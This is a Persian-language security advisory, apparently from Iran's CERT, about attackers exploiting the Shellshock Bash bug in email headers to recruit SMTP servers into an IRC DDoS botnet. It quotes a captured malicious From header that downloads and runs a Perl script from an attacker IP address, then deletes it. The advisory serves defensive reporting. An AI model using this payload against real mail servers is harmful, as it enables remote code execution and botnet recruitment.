



## اطلاع رسانی

## حمله به میل سرورها از طریق مشکل Shellshock

تعداد بازدید: ۵۸

تاریخ انتشار: ۱۳۹۳/۰۸/۱۴

گزارش‌ها نشان می‌دهد که مهاجمان با سوء استفاده از مشکل Shellshock حملاتی را علیه سرورهای SMTP راه اندازی کرده‌اند.

شماره: IRCNE۲۰۱۴۱۱۲۳۵۹

تاریخ: ۱۰/۰۸/۹۳

گزارش‌ها نشان می‌دهد که مهاجمان با سوء استفاده از مشکل Shellshock حملاتی را علیه سرورهای SMTP راه اندازی کرده‌اند. این کمپین به دنبال ایجاد یک بات نت IRC برای حملات انکار



سرورس توزیع شده و سایر اهداف می‌باشد.

آسیب پذیری Shellshock حدود یک ماه پیش کشف شد و فوراً به عنوان یک مشکل جدی معرفی شد. این مشکل به مدت ۲۰ سال در پوسته Bash قرار داشته است و به طور گسترده در پیکربندی‌ها مورد استفاده قرار گرفته است. مثال زیر نمونه‌ای از این مشکل در سرور SMTP می‌باشد. تقریباً میل سرورها برای مدت‌های طولانی بدون تغییری در پیکربندی استفاده می‌شوند. در زیر مثالی از سوء استفاده از مشکل Shellshock در سرآیند یک ایمیل آورده شده است:

```
From: {::, }, /bin/sh.-c.'cd/tmp, curl.-s0.178.254.31.165/ex.txt,
lwp-download.http:;, //178.254.31.165/ex.txt, wget.178.254.31.165/ex.txt,
fetch.178.254.31.165/ex.txt, perl.ex.txt,
<rm.-fr.ex.*'.&@ourdomain.com>
```

CSO اعلام کرد سروری از سرورهای IRC را پیدا کرده‌اند که به عنوان میزبان بات‌ها مورد استفاده قرار می‌گیرد. در ۲۴ اکتبر حدود ۱۶۰ سرور به این سرور آسیب پذیر متصل شده است.

چاپ

## تازه ترین اخبار

- «انتشار به روز رسانی های فلش پلیر
- «به روز رسانی ابزار ضد هک EMET ...
- «کشف بدافزار WireLurker در سیستم های ایل
- «بازگشت حملات ماکرو با بدافزار Dridex
- «اصلاح آسیب پذیری های جدی در مسیریاب های ...

## اطلاع رسانی

- اخبار
- راهنمای امنیتی
- امنیت در رایانه شما
- امنیت در گوشی های تلفن همراه
- پرسش و پاسخ
- سایت های مرتبط

اطلاع رسانی

مطالب امنیتی

پایگاه دانش

آمار بازدیدهای سایت

هشدارهای امنیتی

تهدیدات جاری

گزارشات تحلیلی

مجموع بازدیدها: ۱۵,۵۰۳,۴۷۵

حادثه امنیتی

امنیت در رایانه شما

مقالات

تعداد بازدید امروز: ۱۳,۵۲۱

آسیب پذیری

راهنمایی های امنیتی

همایش ها و سمینارها

تعداد بازدید دیروز: ۱۳,۷۴۱

اصلاحیه امنیتی

آزمایشگاه بدافزار ماهر

دوره های آموزشی

تعداد کاربران آنلاین: ۰

آخرین به روزرسانی: ۱۳۹۳/۰۸/۲۳ ۲۰:۳۵

کلیه حقوق سایت برای مرکز مدیریت امداد و هماهنگی عملیات رخدادهای رایانه‌ای کشور محفوظ می‌باشد.

هرگونه استفاده از محتوای این پورتال بدون ذکر منبع ممنوع می‌باشد و پیگرد قانونی دارد.

OIC-CERT

Computer Emergency Response Team

مرکز ماهر